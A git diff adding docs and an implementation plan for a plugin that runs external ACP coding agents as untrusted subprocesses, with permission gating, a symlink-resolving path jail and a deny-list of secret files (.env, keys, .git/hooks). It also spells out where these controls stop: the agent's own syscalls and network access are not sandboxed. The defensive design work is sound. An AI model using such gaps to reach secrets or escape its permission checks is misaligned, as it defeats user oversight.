diff --git a/.changeset/acp-client-runtime.md b/.changeset/acp-client-runtime.md
new file mode 100644
index 0000000000..1d580e1511
--- /dev/null
+++ b/.changeset/acp-client-runtime.md
@@ -0,0 +1,17 @@
+---
+"@runfusion/fusion": minor
+---
+
+Add an ACP (Agent Client Protocol) client runtime plugin (`runtimeId: "acp"`)
+that drives any external ACP-compatible agent over JSON-RPC/stdio, built on the
+official `@agentclientprotocol/sdk`. Installed on demand (experimental).
+
+The agent runs as an untrusted subprocess that calls back into Fusion, so the
+integration ships a defense-in-depth security floor: per-category permission
+gating against the live policy (never a preset shortcut; `allow_once` only;
+unmappable kinds and missing policy default-deny), an unrestricted-risk
+acknowledgement that escalates blanket allows to approval under the allow-all
+default, an opt-in filesystem capability behind a real symlink-resolving cwd jail
+(realpath + `O_NOFOLLOW`, secret/`.git` deny-list, writes gated through the
+permission policy), untrusted-output sanitization and bounds, and an env
+allow-list for the subprocess.
diff --git a/docs/acp-contract.md b/docs/acp-contract.md
new file mode 100644
index 0000000000..2e40f2cdfa
--- /dev/null
+++ b/docs/acp-contract.md
@@ -0,0 +1,66 @@
+# ACP (Agent Client Protocol) Runtime Contract
+
+Date: 2026-06-03
+
+Launch/readiness contract and failure taxonomy for `fusion-plugin-acp-runtime`,
+which drives any external [Agent Client Protocol](https://agentclientprotocol.com)
+agent over JSON-RPC/stdio. Mirrors the shape of `docs/cursor-cli-contract.md`.
+
+## Transport
+
+- **Newline-delimited JSON-RPC 2.0 over stdio** (no Content-Length framing).
+ Provided by `@agentclientprotocol/sdk` (`ndJsonStream` + `ClientSideConnection`).
+- The client (Fusion) launches the agent as a subprocess with piped stdio. The
+ agent's stdin is the JSON-RPC *output* stream; its stdout is the *input* stream.
+- `stderr` is captured (redacted) for diagnostics, never parsed as protocol.
+
+## Invocation and binary detection
+
+- Unlike a single-vendor CLI, ACP is a protocol — the agent binary + ACP-mode
+ flag are user-configured:
+ - `acpBinaryPath` — e.g. `gemini`, `npx`, or an absolute path.
+ - `acpArgs` — the flag(s) that put the agent in ACP/stdio mode, e.g. `["--acp"]`.
+- The subprocess environment is built from the `acpEnvAllowList` allow-list only
+ (inherited `process.env` is **not** forwarded — the agent is untrusted).
+
+## Readiness = the `initialize` handshake
+
+There is no `--version` probe. Readiness is the protocol handshake itself:
+
+1. Spawn the agent subprocess.
+2. Send `initialize { protocolVersion: 1, clientCapabilities: { fs } }` under a
+ timeout (default 30s — research flagged Gemini-on-macOS OAuth and Claude-adapter
+ `session/new` stalls).
+3. The agent responds with its integer `protocolVersion`, `agentCapabilities`,
+ and `authMethods`.
+4. The client compares the integer protocol version; an unsupported version is a
+ hard failure (do not assume the agent errors first).
+
+`fs` capabilities are advertised **only** when `acpFsRead`/`acpFsWrite` are
+enabled (writes default OFF).
+
+## Failure taxonomy (`probe.ts` `AcpProbeReason`)
+
+| Reason | Trigger |
+| --- | --- |
+| `ok` | Handshake completed (with `authRequired: true` when `authMethods` is non-empty) |
+| `missing_binary` | Spawn `ENOENT` (binary not found, code 127) |
+| `spawn_error` | Other spawn failure |
+| `handshake_timeout` | `initialize` did not complete within the bound (code 124) |
+| `incompatible_protocol` | Agent negotiated an unsupported integer protocol version |
+| `unauthenticated` | Agent requires an auth method the client cannot satisfy |
+
+## Lifecycle / teardown
+
+- The engine has no `AbortSignal` in the runtime contract; teardown enters via an
+ unawaited synchronous `dispose()` plus the process-registry kill. The
+ **registry SIGKILL is the authoritative no-orphan / no-deadlock guarantee**; a
+ best-effort `session/cancel` + pending-permission drain runs first when timing
+ allows but is opportunistic.
+
+## Sources
+
+- https://agentclientprotocol.com (introduction, schema, transports, initialization, tool-calls)
+- `@agentclientprotocol/sdk` v0.24.0 — https://www.npmjs.com/package/@agentclientprotocol/sdk
+- Validation: the SDK example echo agent (CI) + an in-repo controllable fixture
+ (`src/__tests__/fixtures/echo-agent.mjs`); Gemini CLI / Claude-adapter for manual e2e.
diff --git a/docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md b/docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md
new file mode 100644
index 0000000000..eb068d0361
--- /dev/null
+++ b/docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md
@@ -0,0 +1,504 @@
+---
+title: "feat: Add ACP (Agent Client Protocol) client integration"
+type: feat
+status: completed
+date: 2026-06-02
+deepened: 2026-06-02
+depth: deep
+---
+
+# feat: Add ACP (Agent Client Protocol) client integration
+
+## Summary
+
+Add a new `plugins/fusion-plugin-acp-runtime` plugin that lets Fusion drive **any** external Agent-Client-Protocol agent over JSON-RPC/stdio: spawn the agent subprocess, negotiate the `initialize` handshake, open and prompt sessions, stream `session/update` notifications into Fusion's runtime callbacks, and route the agent's `session/request_permission` requests into Fusion's permission/approval surface. Built generically against the official `@agentclientprotocol/sdk` (no single reference agent), validated in CI against the SDK's example echo agent.
+
+---
+
+## Problem Frame
+
+Fusion's thesis (see `STRATEGY.md`) is to be the model- and surface-agnostic orchestration layer, with a plugin ecosystem so it adapts as agents evolve. Today every agent integration is bespoke: `plugins/fusion-plugin-droid-runtime` drives the Droid CLI, `fusion-plugin-cursor-runtime` drives Cursor, `fusion-plugin-hermes-runtime`, `fusion-plugin-openclaw-runtime`, and `packages/pi-claude-cli` (now a thin shim) each hand-roll a subprocess transport, a stdout parser, and an event bridge for one specific tool.
+
+ACP is an open, versioned protocol (Zed Industries; protocol version `1`) that standardizes exactly this client↔agent contract. A single ACP-client integration unlocks **every** ACP-compatible agent — Gemini CLI, the Claude Code ACP adapter, and any future agent that speaks the protocol — through one well-specified surface instead of N bespoke ones. This is the highest-leverage expression of the "ecosystem breadth" and "neutral by design" tracks.
+
+Two facts from research make this a distinct shape from the existing integrations:
+
+1. Every current integration is **one-shot / request-scoped** (write one NDJSON turn, read stdout, force-kill). ACP is a **persistent, bidirectional JSON-RPC peer** over stdio: the agent calls *back into the client* mid-turn (permission prompts, filesystem reads). The transport core is genuinely new.
+2. The official `@agentclientprotocol/sdk` (TypeScript, Apache-2.0, production-stable) provides the transport, framing, connection classes, and types — so the new work is integration and mapping, not protocol plumbing from scratch.
+
+This plan covers the **client** direction only (Fusion drives external agents). The reverse direction (Fusion exposing *itself* as an ACP agent for editors like Zed) is explicitly out of scope.
+
+---
+
+## Requirements
+
+- **R1** — Fusion can launch a configured ACP agent binary as a subprocess and complete the `initialize` capability handshake, including integer protocol-version negotiation and a readiness timeout.
+- **R2** — Fusion can open a session (`session/new`), send a user turn (`session/prompt`), and receive the terminal `stopReason`.
+- **R3** — Streaming `session/update` notifications (agent text, reasoning, tool calls, plan) are mapped onto the existing `AgentRuntime` callbacks (`onText`, `onThinking`, `onToolStart`, `onToolEnd`) so ACP agents appear in Fusion's UI/logs identically to existing runtimes.
+- **R4** — The agent's `session/request_permission` requests are answered according to Fusion's agent permission policy, with correct cancellation semantics.
+- **R5** — Run teardown (engine stuck-task detection / executor timeout) invokes the runtime's `dispose()` and force-kills the subprocess; no orphaned processes survive. A best-effort `session/cancel` + pending-permission drain runs first when teardown timing allows, but the **process-registry SIGKILL is the authoritative no-orphan / no-deadlock guarantee** — see KTD4a.
+- **R6** — The plugin ships inside the published `@runfusion/fusion` CLI and is discoverable/selectable via the existing plugin-runtime resolution path (`runtimeId: "acp"`).
+- **R7** — The integration is validated in CI with no API keys or network: the SDK example echo agent covers handshake + text passthrough, and a small **controllable in-repo fixture agent** deterministically exercises the security-floor paths the echo agent never reaches — `session/request_permission` (allow/deny/post-cancel), `fs/read|write`, `tool_call_*` updates, full-replace `plan` updates, and cancel-mid-prompt. Real agents (Gemini CLI, the Claude-adapter) remain manual e2e.
+- **R8** — Third-party-integration evidence (upstream repo, docs, release, binary name, checksum/marker) is recorded per `AGENTS.md`.
+
+**Success criteria:** a user can configure an ACP agent, assign a Fusion task/agent to `runtimeId: "acp"`, and watch the agent stream text + tool calls and honor the user's permission policy — with the same lifecycle guarantees (abort, no orphans) as the Droid/Cursor runtimes.
+
+---
+
+## Key Technical Decisions
+
+- **KTD1 — Build as a runtime plugin (`plugins/fusion-plugin-acp-runtime`), not a `packages/*-cli` package.** Research confirmed the `packages/pi-claude-cli` / `droid-cli` packages are now thin compatibility shims; the canonical integration shape is a first-class plugin under `plugins/` using `@fusion/plugin-sdk`'s `definePlugin` with a `runtime` manifest + `AgentRuntime` adapter (see `plugins/fusion-plugin-droid-runtime` and `fusion-plugin-cursor-runtime`). This is the resolution of the planning-time "integration shape" fork: follow the established plugin-runtime pattern for consistency and discovery (`getRuntimeById`). The dashboard `uiSlots` cards (settings/onboarding) are available via the same shape but are deferred to follow-up in v1 (see Scope Boundaries) — the runtime is selectable without them.
+
+- **KTD2 — Depend on `@agentclientprotocol/sdk` (Apache-2.0), API-verified at install; do not hand-roll JSON-RPC or vendor schema.** The SDK provides `ClientSideConnection`, the `Client` interface, `ndJsonStream`, the `PROTOCOL_VERSION` constant, and all request/response types tracking the canonical schema. Hand-rolling newline-delimited JSON-RPC framing or vendoring types would duplicate a maintained dependency. **Caveat:** the SDK is v0.24.0, released 2026-06-02 and not yet installed here — "stable" is an external claim, not verified locally. Pin the version and **verify the named exports at install (U1) before designing against them** — a breaking export collapses U2 and the no-plumbing premise, so it is a U1 blocker. License is compatible with the repo (MIT workspace). Per `AGENTS.md` external-integration evidence, the dependency and the agent binaries it targets must be cited in PROMPT.md. _(see external research: agentclientprotocol.com, npm `@agentclientprotocol/sdk`.)_
+
+- **KTD3 — Consume the gate context Fusion already threads into every runtime; no contract change.** The ACP `Client.requestPermission` handler must answer synchronously (the agent blocks on it). The engine's canonical `AgentRuntimeOptions` (`packages/engine/src/agent-runtime.ts:35-106`) **already carries `actionGateContext?: AgentActionGateContext`** (line 103), it is **already populated per-run** at every call site via `buildActionGateContext(...)` (`executor.ts:4303/4720/3630`, `agent-heartbeat.ts:2579`, `step-session-executor.ts`), and it **already reaches the runtime** through the single funnel `createResolvedAgentSession` (`agent-session-helpers.ts:335`). `AgentActionGateContext` (`agent-action-gate.ts:30`) already bundles `permissionPolicy` plus the closures the HITL flow needs (`createApprovalRequest`, `findApprovalByDedupeKey`, `pauseForApproval`, `markApprovalCompleted`). So the ACP runtime simply **reads `options.actionGateContext`** in `createSession`, persists it on the session, and the `requestPermission` handler classifies each call via `evaluateAgentActionGate` + `resolveGateOutcome`. _(This corrects an earlier premise that the shared contract had no permission channel — it does, and `plugins/fusion-plugin-droid-runtime/src/types.ts:110` is a plugin-local structural copy the engine never imports. The discarded alternative of adding an `onPermissionRequest?` callback to the contract is unnecessary and would create a redundant second channel to the same approval store.)_ To keep the boundary clean, the plugin depends on a **narrow local `PermissionGate` interface** (the closures + policy it uses), accepting the structurally-compatible `actionGateContext` rather than importing `@fusion/engine` internals.
+
+- **KTD3a — Per-category gating is the v1 floor, not a deferred enhancement (security-critical).** Fusion's shipped default policy is `unrestricted` (`DEFAULT_AGENT_PERMISSION_POLICY_PRESET_ID = "unrestricted"`), which maps every action category to `allow`. A naive preset→outcome mapping would therefore auto-approve **every** tool call of an untrusted external subprocess the moment a user selects the ACP runtime without changing policy. The `requestPermission` floor (U5) must classify each `toolCall.kind` into a gate category and consult the **per-category disposition** (`permissionPolicy.rules[category]`), never the preset id: categories set to `block` reject, `require-approval` either routes to the HITL approval flow or — when no human channel is available — **default-denies**, and only categories explicitly `allow` auto-approve. ACP's `toolCall.kind` is agent-defined, optional, and partial (U4); a **missing or unmappable `kind` must map to the most-restrictive category and default-deny**, never fall through to allow — otherwise an unclassifiable call under the `unrestricted` default reopens S1. See Risk S1.
+
+- **KTD4 — Reuse the proven subprocess hardening conventions verbatim.** Self-cleaning process registry (`registerProcess`/`killAllProcesses` on `exit`), async non-blocking presence/auth probes (resolve timeout code `124` / ENOENT `127`), stderr buffering surfaced on non-zero exit, and a high inactivity ceiling (the engine's `StuckTaskDetector` is the authoritative aborter). `killAll` is scoped to agent subprocesses only — never the dashboard/port-4040 (per existing kill-guard conventions).
+
+- **KTD4a — Teardown enters via synchronous `dispose()`, not a threaded `AbortSignal`; graceful cancel is opportunistic.** The canonical `AgentRuntime` contract (`packages/engine/src/agent-runtime.ts`) carries **no** `AbortSignal`, and the engine invokes teardown as an **unawaited synchronous `session.dispose()`** (`StuckTaskDetector`, executor timeout race) plus the `process.on("exit")` registry kill — the Droid adapter's `promptWithFallback` ignores its options arg entirely. So ACP cannot rely on an `AbortSignal` arriving via `promptWithFallback`. The ACP `dispose()` issues a best-effort `session/cancel` and resolves already-pending `requestPermission` promises with `{ cancelled }` synchronously, but because `dispose()` is not awaited, the JSON-RPC notification flush and any grace window may not complete — **the real guarantee is the registry SIGKILL.** "No agent deadlock" rests on the kill, not the drain; the drain is opportunistic cleanup. The plan does not assume a graceful round-trip the engine cannot await.
+
+- **KTD5 — v1 passes an empty `mcpServers` at `session/new`; Fusion-custom-tool forwarding via MCP is deferred.** Keeps v1 bounded. The agent operates over its `cwd` (the task worktree). Forwarding Fusion's custom pi-tools to the ACP agent (reusing the `mcp-config.ts` + `mcp-schema-server.cjs` schema-server machinery) is follow-up work. _(Confirmed scope decision.)_
+
+- **KTD6 — Filesystem client capabilities are config-gated and default to a conservative posture (security-critical).** Many ACP agents rely on client-side `fs/read_text_file` / `fs/write_text_file` when sandboxed, but granting an untrusted subprocess read+write into the worktree by default is the wrong posture. Therefore: capabilities are advertised in `initialize` **only when the resolved settings enable them** (U2 reads the toggle, never hardcodes `true`); **`writeTextFile` defaults OFF** (opt-in per agent/project); `fs/write_text_file` is treated as a `file_write_delete` action-gate category (subject to the same permission policy as U5), not a free capability; and path access is confined by a dedicated realpath-resolving jail (see KTD6a). Terminal capabilities (`terminal/create`, `terminal/output`, …) are deferred — see KTD6b for the trust-boundary consequence.
+
+- **KTD6a — Filesystem confinement uses a real symlink-resolving jail, not a string-prefix check.** `packages/core/src/project-root-guard.ts` is a `.fusion`-suffix / git-worktree string check, **not** a path jail — it must not be reused for fs confinement. A dedicated `assertPathWithinCwd` helper must: resolve the real path with `fs.realpath` (following all symlinks), verify it is within the realpath of the session `cwd`, perform the check and the open atomically (`O_NOFOLLOW` on the final component or open-then-`fstat`-validate) to close TOCTOU, reject absolute paths / NUL bytes / separator tricks, and apply a **deny-list regardless of cwd membership**: hard-reject writes to `.git/**` (esp. `.git/hooks`, `.git/config` → RCE/token surface) and deny or gate reads of secret patterns (`.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`, `id_*`, `credentials`) that legitimately live inside the worktree. See Risk S3.
+
+- **KTD6b — The agent's native syscalls are NOT sandboxed in v1; state the real trust boundary.** ACP permissions (U5) and fs confinement (U7) constrain only *protocol-mediated* actions. The agent subprocess runs with Fusion's user privileges and can spawn child processes and reach the network directly (and would fall back to that if it needed the deferred `terminal/*`). v1 mitigations: `cli-spawn.ts` builds the subprocess `env` from an **allow-list**, not inherited `process.env` (strip secret-bearing vars). OS-level sandboxing of the agent process (restricted uid / seccomp / `sandbox-exec` / container) is recommended but deferred. See Risk S6.
+
+---
+
+## High-Level Technical Design
+
+### Component shape
+
+The plugin mirrors the `fusion-plugin-droid-runtime` module split, with the bespoke NDJSON transport replaced by the ACP SDK connection.
+
+```mermaid
+flowchart TB
+ subgraph engine["@fusion/engine"]
+ RR["runtime-resolution.ts
getRuntimeById('acp')"]
+ GATE["agent-action-gate.ts
+ ApprovalRequestStore"]
+ end
+ subgraph plugin["plugins/fusion-plugin-acp-runtime"]
+ IDX["index.ts
definePlugin + runtime factory"]
+ ADP["runtime-adapter.ts
AgentRuntime impl"]
+ PROV["provider.ts
session driver"]
+ PROC["cli-spawn.ts / process-manager.ts
spawn + lifecycle + probe"]
+ BRIDGE["event-bridge.ts
session/update → callbacks"]
+ PERM["control-handler.ts
requestPermission resolver"]
+ FSCAP["fs-capabilities.ts
fs/read|write handlers"]
+ TYPES["types.ts"]
+ end
+ SDK["@agentclientprotocol/sdk
ClientSideConnection · ndJsonStream"]
+ AGENT["external ACP agent
(subprocess)"]
+
+ RR --> IDX --> ADP --> PROV
+ PROV --> PROC --> AGENT
+ PROV --> SDK <--> AGENT
+ PROV --> BRIDGE --> ADP
+ PROV --> PERM --> GATE
+ PROV --> FSCAP
+```
+
+### Protocol lifecycle (one prompt turn)
+
+```mermaid
+sequenceDiagram
+ participant F as Fusion (provider.ts)
+ participant S as SDK ClientSideConnection
+ participant A as ACP Agent (subprocess)
+
+ F->>A: spawn(binary, args), stdio pipes
+ F->>S: ndJsonStream(stdin, stdout) → ClientSideConnection(Client impl)
+ F->>A: initialize{protocolVersion:1, clientCapabilities}
+ A-->>F: {protocolVersion:1, agentCapabilities, authMethods}
+ opt authMethods non-empty
+ F->>A: authenticate{methodId}
+ end
+ F->>A: session/new{cwd, mcpServers:[]}
+ A-->>F: {sessionId, modes}
+ F->>A: session/prompt{sessionId, prompt[]}
+ loop streaming
+ A--)F: session/update (content_chunk / tool_call_* / plan)
+ Note over F: event-bridge → onText/onThinking/onToolStart/onToolEnd
+ opt agent needs approval
+ A->>F: session/request_permission{toolCall, options}
+ F->>A: {outcome: selected, optionId} | {outcome: cancelled}
+ end
+ opt agent reads/writes file
+ A->>F: fs/read_text_file | fs/write_text_file
+ F-->>A: {content} | {}
+ end
+ end
+ A-->>F: session/prompt → {stopReason}
+ Note over F: drain updates, push terminal done
+ opt abort
+ F--)A: session/cancel (notification)
+ Note over F: respond {cancelled} to all pending permission reqs, then SIGKILL fallback
+ end
+```
+
+_Diagrams render authoritative design intent; prose governs on any disagreement._
+
+---
+
+## Output Structure
+
+```
+plugins/fusion-plugin-acp-runtime/
+├── manifest.json # id + runtime{ runtimeId:"acp" }
+├── package.json # @agentclientprotocol/sdk dep; pi peerDeps; private
+├── tsconfig.json
+├── vitest.config.ts
+├── README.md # integration notes + UPSTREAM evidence
+├── src/
+│ ├── index.ts # definePlugin: manifest + runtime factory + uiSlots
+│ ├── runtime-adapter.ts # AgentRuntime: createSession/promptWithFallback/describeModel/dispose
+│ ├── provider.ts # ACP session driver (connection, prompt, lifecycle)
+│ ├── cli-spawn.ts # resolveCliSettings (binary, args, acp flag)
+│ ├── process-manager.ts # spawn, registry, dispose→cancel→kill, stderr, idle timeout
+│ ├── probe.ts # async presence/handshake readiness probe + failure taxonomy
+│ ├── prompt-builder.ts # build ACP ContentBlock[] from prompt (text/image)
+│ ├── event-bridge.ts # session/update → AgentRuntime callbacks (+ output bounds)
+│ ├── tool-mapping.ts # ACP tool kind/title → display name; arg normalization
+│ ├── control-handler.ts # requestPermission: per-category gate resolver + HITL
+│ ├── fs-capabilities.ts # fs/read_text_file + fs/write_text_file handlers
+│ ├── path-jail.ts # assertPathWithinCwd: realpath jail + deny-list
+│ ├── sanitize.ts # strip ANSI/control from untrusted agent strings
+│ ├── types.ts # ACP-adjacent local types + local PermissionGate
+│ └── __tests__/ # one *.test.ts per module
+└── (no mcp-schema-server.cjs in v1 — MCP forwarding deferred, KTD5)
+```
+
+The per-unit `**Files:**` lists are authoritative; this tree is the scope declaration.
+
+---
+
+## Implementation Units
+
+### U1. Scaffold the `fusion-plugin-acp-runtime` plugin and wire it into the workspace
+
+**Goal:** A loadable, empty-but-valid runtime plugin registered as `runtimeId: "acp"`, with the ACP SDK dependency installed.
+
+**Requirements:** R6, R8 (partial)
+
+**Dependencies:** none
+
+**Files:**
+- `plugins/fusion-plugin-acp-runtime/manifest.json` (new)
+- `plugins/fusion-plugin-acp-runtime/package.json` (new) — add `@agentclientprotocol/sdk` dependency, `@fusion/plugin-sdk` workspace dep, pi peerDeps, `private: true`, `keywords: ["fusion-plugin","acp","runtime"]`
+- `plugins/fusion-plugin-acp-runtime/tsconfig.json`, `vitest.config.ts` (new)
+- `plugins/fusion-plugin-acp-runtime/src/index.ts` (new) — `definePlugin({ manifest, runtime: { metadata, factory }, uiSlots })`
+- `plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts` (new) — `AgentRuntime` skeleton
+- `plugins/fusion-plugin-acp-runtime/src/types.ts`, `cli-spawn.ts` (new)
+- `pnpm-workspace.yaml` (modify) — add `plugins/fusion-plugin-acp-runtime`
+- `plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts` (new)
+
+**Approach:** **First, verify the SDK.** `@agentclientprotocol/sdk` v0.24.0 was released 2026-06-02 (the plan's authoring day) and is not yet installed in the workspace — so before anything is designed against it, install it and add a smoke-import test asserting the load-bearing exports exist with the assumed shapes (`ClientSideConnection`, `ndJsonStream`, `PROTOCOL_VERSION`, the `Client` interface). A missing/renamed export is a **U1 blocker**, not a late surprise in U2 — the whole "no protocol plumbing from scratch" premise (KTD2) depends on these. Then mirror `plugins/fusion-plugin-droid-runtime/src/index.ts` and `manifest.json`: runtime metadata `{ runtimeId: "acp", name: "ACP Runtime", … }`; `runtime-adapter.ts` implements the **full** `AgentRuntime` interface (`plugins/fusion-plugin-droid-runtime/src/types.ts:128`) — `createSession`, `promptWithFallback`, **`describeModel` (required — returns e.g. the agent binary name + negotiated mode)**, and `dispose` — with stubs that throw `not_implemented` until later units. `cli-spawn.ts` provides `resolveCliSettings(settings)` returning `{ binaryPath, args, env }` from plugin settings.
+
+**Patterns to follow:** `plugins/fusion-plugin-droid-runtime` (index, manifest, package.json, runtime-adapter shape including `describeModel`).
+
+**Test scenarios:**
+- **SDK smoke-import:** `ClientSideConnection`, `ndJsonStream`, and `PROTOCOL_VERSION` are importable from `@agentclientprotocol/sdk` and have the expected shapes; a missing export fails the test (blocks the unit).
+- Plugin module default-export is a valid `FusionPlugin`; `manifest.runtime.runtimeId === "acp"`.
+- `definePlugin` does not throw at import; `runtime.factory(ctx)` returns an object conforming to `AgentRuntime` (has `id`, `name`, `createSession`, `promptWithFallback`, **`describeModel`**).
+- `resolveCliSettings` returns defaults when given `undefined` and honors an explicit `binaryPath`/`args` override.
+- Test expectation for stubs: `createSession`/`promptWithFallback` reject with a recognizable `not_implemented` marker (placeholder until U3).
+
+---
+
+### U2. ACP transport, handshake, and subprocess lifecycle
+
+**Goal:** Spawn the agent, establish a `ClientSideConnection`, complete `initialize` with version negotiation and a readiness timeout, and provide hardened spawn/abort/teardown with a presence probe.
+
+**Requirements:** R1, R5
+
+**Dependencies:** U1
+
+**Files:**
+- `plugins/fusion-plugin-acp-runtime/src/process-manager.ts` (new) — `spawnAgent`, process registry (`registerProcess`/`killAllProcesses`), `forceKill`, stderr capture, idle timeout
+- `plugins/fusion-plugin-acp-runtime/src/probe.ts` (new) — async `validateAgentPresence` / `validateAcpReadiness`
+- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (new, partial) — `connect()`: `spawn` → `ndJsonStream(Writable.toWeb(stdin), Readable.toWeb(stdout))` → `new ClientSideConnection(clientImpl, stream)` → `initialize`
+- `plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts`, `probe.test.ts`, `provider-handshake.test.ts` (new)
+- `package.json` (modify) — devDependency on the ACP SDK example agent (or pin a tiny in-repo echo agent fixture)
+- `plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/controllable-agent.ts` (new) — a deterministic in-repo ACP agent that, on command, issues `session/request_permission`, `fs/read|write`, `tool_call_*`, `plan` replacement, and a post-cancel permission request, so U5/U6/U7 security-floor tests run against a real callback-capable peer (R7)
+
+**Approach:** Spawn with `stdio: ["pipe","pipe","pipe"]`, building the subprocess `env` from an **allow-list** (not inherited `process.env`) so secret-bearing vars are not handed to the untrusted agent (KTD6b). Wrap Node streams via `Writable.toWeb`/`Readable.toWeb` for `ndJsonStream`. Send `initialize{ protocolVersion: PROTOCOL_VERSION, clientCapabilities: { fs: } }` where the `fs` capability flags are **read from resolved settings, never hardcoded `true`** — advertise `readTextFile`/`writeTextFile` only when enabled, and only because the U7 handlers exist (KTD6). Compare the agent's returned integer `protocolVersion`; if unsupported, close and surface a typed error (do not assume the agent errors first). Guard `initialize()` with a timeout (research notes Gemini-on-macOS and Claude-adapter stalls). For `authMethods` requiring interactive credentials, surface to the user rather than auto-supplying from ambient env; the auth handler must **not** read credentials from `process.env` (the env allow-list strips the *subprocess* env, not Fusion's own handler), credentials collected interactively are held **in-memory for the session lifetime only** (never written to disk), and **tokens/auth payloads are redacted from the stderr buffer and logs** (KTD4's stderr-on-failure surfacing would otherwise leak auth errors verbatim — Risk S8). If no interactive auth surface exists in v1, reject with a descriptive error rather than building an undeclared UI. Process registry self-cleans on `proc.on("exit")`; `process.on("exit", killAllProcesses)` registered in `index.ts`. Teardown is registry-SIGKILL-authoritative with best-effort `session/cancel` (KTD4a); the registry kill is what removes the process, not the cancel round-trip. Idle ceiling high (engine is authoritative aborter). Probe failure taxonomy: missing binary (`127`), handshake timeout (`124`), incompatible protocol version, unauthenticated.
+
+**Execution note:** Start with a failing integration test driving the SDK example echo agent through `initialize`.
+
+**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/process-manager.ts` (registry, async probes, stderr buffering, kill grace); `probe.ts` failure-taxonomy pattern; `docs/cursor-cli-contract.md`.
+
+**Test scenarios:**
+- Happy path: spawning the example agent and sending `initialize` returns a compatible `protocolVersion` and agent capabilities.
+- Version mismatch: agent returns an unsupported integer → connection closes with a typed `incompatible_protocol` error, no hang.
+- `initialize` timeout: agent never responds → rejects with `handshake_timeout` within the bound; subprocess force-killed.
+- Spawn failure: nonexistent binary → probe resolves `missing_binary` (`127`), never throws into the event loop.
+- Abort during handshake: `dispose()` / registry teardown → subprocess SIGKILLed, registry entry removed (no `AbortSignal` dependency — KTD4a).
+- Registry: two spawned agents both removed from the active set on exit; `killAllProcesses` reaps survivors and does **not** target the dashboard port.
+- Capability gating: with fs settings disabled, `initialize` advertises `fs` as absent/false; with them enabled, advertises true.
+- Env allow-list: a secret-bearing var present in `process.env` is **not** present in the spawned agent's environment unless explicitly allow-listed.
+- Auth redaction: a simulated auth error containing a token does not appear verbatim in captured stderr/logs.
+
+---
+
+### U3. Session lifecycle and prompt driving
+
+**Goal:** Open/reuse a session, send a prompt turn, await `stopReason`, and support cancellation and resume — exposed through the `AgentRuntime` adapter.
+
+**Requirements:** R2, R5
+
+**Dependencies:** U2
+
+**Files:**
+- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — `session/new` (`{ cwd, mcpServers: [] }`), `session/prompt`, `session/cancel`, `session/load`/`session/resume`, `session/close`
+- `plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts` (modify) — `createSession` opens the connection + `session/new`; `promptWithFallback` drives `session/prompt`; `dispose` closes session + tears down process
+- `plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts` (new) — build ACP `ContentBlock[]` from the prompt string (text; image passthrough where present)
+- `plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts`, `runtime-adapter.test.ts`, `prompt-builder.test.ts` (new)
+
+**Approach:** `createSession(options)` connects (U2) and issues `session/new` with `options.cwd`. Persist on the session object: `sessionId`, `cwd`, and **`options.actionGateContext`** (already populated by the engine — KTD3) so the U5 permission handler and U7 fs handlers can reach the live gate and the confinement root. `promptWithFallback(session, prompt)` sends `session/prompt`, resolving the returned promise only after `stopReason` arrives (research pitfall: `session/prompt` resolves *after* all updates are delivered — drain the bridge before reporting done). Map `stopReason` (`end_turn` | `tool_calls` | `cancelled`) to terminal completion. **Teardown enters via `dispose()` (KTD4a), not an `AbortSignal`** — `dispose()` issues a best-effort `session/cancel` **notification** (fire-and-forget; no ack), drains already-pending permission promises with `{ cancelled }` synchronously, then the registry SIGKILL is the authoritative guarantee. Because the engine calls `dispose()` unawaited, treat the cancel/drain as opportunistic, not guaranteed. Resume: prefer `session/load` (replay history) vs `session/resume` (no replay) based on whether prior transcript is needed; expose via the adapter's session-file/resume path.
+
+**Execution note:** Drive a full turn against the example agent before adding mapping detail.
+
+**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/runtime-adapter.ts` (createSession/promptWithFallback shape, callback wiring); `provider.ts` terminal-event discipline.
+
+**Test scenarios:**
+- Happy path: `createSession` → `promptWithFallback("hello")` against the example agent resolves after `stopReason` with the echoed text delivered via `onText`.
+- Cancellation: abort mid-prompt → `session/cancel` sent; promise resolves with a `cancelled` outcome; no further callbacks fire after resolution.
+- Resume: a session opened with a prior `sessionId`/transcript uses `session/load`; a no-replay resume uses `session/resume`.
+- `dispose` closes the session and tears down the subprocess; idempotent if called twice.
+- `createSession` persists `actionGateContext` and `cwd` on the session; both are reachable from a mock `requestPermission` / fs handler.
+- Prompt builder: plain text → single text `ContentBlock`; an image-bearing prompt produces an image block; empty prompt handled.
+- Ordering: prompt promise does not resolve before the last `session/update` for the turn is drained (guard against truncation).
+
+---
+
+### U4. `session/update` → runtime-callback event bridge
+
+**Goal:** Translate every relevant `session/update` variant into the `AgentRuntime` callbacks so ACP agents render identically to existing runtimes.
+
+**Requirements:** R3
+
+**Dependencies:** U3
+
+**Files:**
+- `plugins/fusion-plugin-acp-runtime/src/event-bridge.ts` (new) — `handleSessionUpdate(update, callbacks)`
+- `plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts` (new) — ACP tool `kind`/`title` → display name; arg normalization
+- `plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts`, `tool-mapping.test.ts` (new)
+
+**Approach:** Discriminate on `sessionUpdate` tag:
+- `content` / `content_chunk` (text `ContentBlock`) → `onText`. Apply delta-space normalization across split chunks (known downstream bug in existing bridges).
+- thought/reasoning chunk → `onThinking`.
+- `tool_call_started` (`ToolCallUpdate`) → `onToolStart(title/kind, rawInput)`; `tool_call_finished` → `onToolEnd(title, status === "failed", rawOutput/content)`. Track calls by stable `toolCallId`; updates are partial (all fields except `toolCallId` optional).
+- `plan` → surface as a thinking/log line; **treat each plan update as a full-list replacement, never append** (research pitfall).
